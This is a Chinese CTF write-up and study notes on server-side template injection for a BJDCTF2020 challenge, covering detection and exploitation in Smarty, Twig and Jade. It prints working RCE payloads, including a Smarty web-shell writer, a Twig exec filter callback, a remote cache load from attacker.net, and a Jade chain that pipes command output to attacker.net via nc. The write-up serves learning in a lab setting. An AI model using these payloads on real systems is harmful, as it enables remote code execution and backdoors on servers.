[BJDCTF2020]Cookie is so stable(ssti模板注入从0到1学习笔记)

打开题目,看名字觉得和cookie注入有关,打开后看看hint的源代码发现了这个

打开flag界面发现有个输入点,抓包看看嘛

发现cookie,而且输入的username在返回中看到了,sql注入不存在,所以应该是ssti模板注入

之前做题做到过,但是没做完整,这次趁这个机会学习一下!模板的开发初衷也是为了让业务代码和逻辑代码分离,大大提高开发效率,良好的设计也让代码重用变得更加容易。与此同时,它也拓展了黑客的攻击面,之前的XSS可以通过诸如带模板触发,除此之外,RCE也可以,虽然模板引擎会提供沙箱机制,但是还是会有很多手段饶过他,攻防无绝对嘛!

什么是服务端模板注入

为什么要在模板注入前面加服务端,是为了和jQuery,KnockoutJS 产生的客户端模板注入区别开来。前者可以让攻击者执行任意代码,而后者只能 XSS。

通过模板,Web英语可以把输入转化成特定的HTML文件或者email格式。就拿一个销售软件来说,我们假设它会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:

$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );

我是在大佬那学到的这个,现在仔细读读发现可以XSS,但是问题不止如此。这行代码其实还有问题,假设我们发送的请求是

custom_email={{7*7}}

那么返回的会是

49              //$output结果

很明显服务器执行了我们传过去的数据,而不是简单解析。每当服务器用模板引擎执行用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎执行。

探测

文本类

大部分的模板语言支持我们输入HTML,比如:

smarty=Hello {user.name}
Hello user1
 
freemarker=Hello ${username}
Hello newuser
 
any=<b>Hello</b>
<b>Hello<b>

未经过滤的输入会产生 XSS,我们可以利用 XSS 做我们最基本的探针。除此之外,模板语言的语法和 HTML 语法相差甚大,因此我们可以用其独特的语法来探测漏洞。虽然各种模板的实现细节不大一样,不过它们的基本语法大致相同,我们可以发送如下 payload:

smarty=Hello ${7*'7'}
Hello 49
 
freemarker=Hello ${7*'7'}
Hello 49

来确认漏洞是否阳性

代码类

在一些环境下,用户的输入也会被当作模板的可执行代码。比如说变量名:

personal_greeting=username
Hello user01

这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:

personal_greeting=username<tag>
Hello
personal_greeting=username}}<tag>
Hello user01 <tag>

 

通过这种方式可以判断属于哪种模板引擎,绿色代表成功返回,红色失败;原理是同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777

举点栗子吧

Smart

Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。而文档表示我们可以通过 $smarty 来获取许多环境变量(比如当前变量的位置 $SCRIPT_NAME)。后面,我们又发现了 getStreamVariable:

这个函数能任意读取有读写权限的文件:

{self::getStreamVariable("file:///proc/self/loginuid")}
1000
{self::getStreamVariable($SCRIPT_NAME)}
<?php
define("SMARTY_DIR",'/usr/share/php/Smarty/');
require_once(SMARTY_DIR.'Smarty.class.php');

不仅如此,我们能任意调用静态方法,这当中包括一个可以创建和重写文件的方法public function writeFile($filepath, $contents, Smarty $smarty)。通过该方法,我们能轻松在web目录下创建后门。值得注意的是,第三个参数必须为 Smarty 对象,所以我们要想办法得到 Smarty 对象的引用。

非常幸运,self::clearConfig帮助我们获取对象:

public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

最后,我们就可以创建后门了!

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Twig

Twig 和 Smarty 类似,不过我们不能用它调用静态方法。幸运的是,它提供了 _self,我们并不需要暴力枚举变量名。虽然 _self 没什么有用的方法,它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样一来,我们就可以通过改变路径实现 RFI了:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

但是,PHP 默认禁止远程文件包含(关闭 allow_url_include),因此上述 payload 不能生效。进一步探索,我们在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数:

public function getFilter($name)
  {
    ...
    foreach ($this->filterCallbacks as $callback) {
    if (false !== $filter = call_user_func($callback, $name)) {
      return $filter;
    }
  }
  return false;
}
 
public function registerUndefinedFilterCallback($callable)
{
  $this->filterCallbacks[] = $callable;
}

我们只需注册 exec 为 filter 的回调函数,并如此调用:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Twig(沙箱模式)

Twig 的沙箱模式有额外的限制。它会禁用一部分函数(包括开发者提供的对象),因此我们并不能调用有价值的东西。万幸的是,这部分代码帮助我们突破限制:

public function checkMethodAllowed($obj, $method)
{
  if ($obj instanceof Twig_TemplateInterface || $obj instanceof Twig_Markup) {
  return true;
}

这里,我们可以调用实现 Twig_TemplateInterface 的对象,也就是说我们可以简介使用 self.,self.中的 displayBlock 让我们更上一层楼:

public function displayBlock($name, array $context, array $blocks = array(), $useBlocks =
true)
{
  $name = (string) $name;
    if ($useBlocks && isset($blocks[$name])) {
    $template = $blocks[$name][0];
    $block = $blocks[$name][1];
  } elseif (isset($this->blocks[$name])) {
    $template = $this->blocks[$name][0];
    $block = $this->blocks[$name][1];
  } else {
    $template = null;
    $block = null;
  }
  if (null !== $template) {
    try {
      $template->$block($context, $blocks);
    } catch (Twig_Error $e) {
        ...

我们可以用$template ->$block($context, $blocks)绕过白名单限制。以下的代码会调用 userObject 对象的 vulnerableMethod:{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}。虽然现在不能获得环境变量,但我们可以利用 _context 属性查找开发者自定义的对象并调用有用的目标。

Jade

Jade 是一款 Node.js 模板引擎。http://CodePen.io

http://CodePen.io

http://CodePen.io 则可以接受用户递交该模板。

首先,让我们来确认模板可以执行代码:

= 7*7
 
//结果:49

再来确认 self 对象的位置:

= root
 
//结果:[object global]

我们来列一下对象属性和函数:

- var x = root
- for(var prop in x)
, #{prop}
 
, ArrayBuffer, Int8Array, Uint8Array, Uint8ClampedArray... global, process, GLOBAL, root

这些可能是可利用的函数:

- var x = root.process
- for(var prop in x)
, #{prop}
 
, title, version, moduleLoadList... mainModule, setMaxListeners, emit, once

绕过保护机制:

- var x = root.process.mainModule
- for(var prop in x)
, #{prop}
 
因为安全原因,CodePen阻止了你的语句
请删除下列关键字后进行尝试
->process
->mainModule
​
- var x = root.process
- x = x.mainModule
- for(var prop in x)
, #{prop}
 
, id, exports, parent, filename, loaded, children, paths, load, require, _compile

确定有用的函数:

- var x = root.process
- x = x.mainModule.require
 
- x('a')
Cannot find module 'a'

最终 exp:

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

回到这个题

我们根据{{7*'7'}}得到了49可以知道是Twig

{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig 

至于这里为什么是user,是因为返回的包里面有提示

Set-Cookie: user

所以这个模板注入是Twig注入,由于是Twig注入,所以是有固定的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
​
​
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

这里注意要在PHPSESSID后user前加上;分隔开

总结:

学习了一下ssti注入,原来都有模板可以套,希望有一天我是创造模板的人!

感谢BUU提供优质题目,感谢勤奋的自己

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值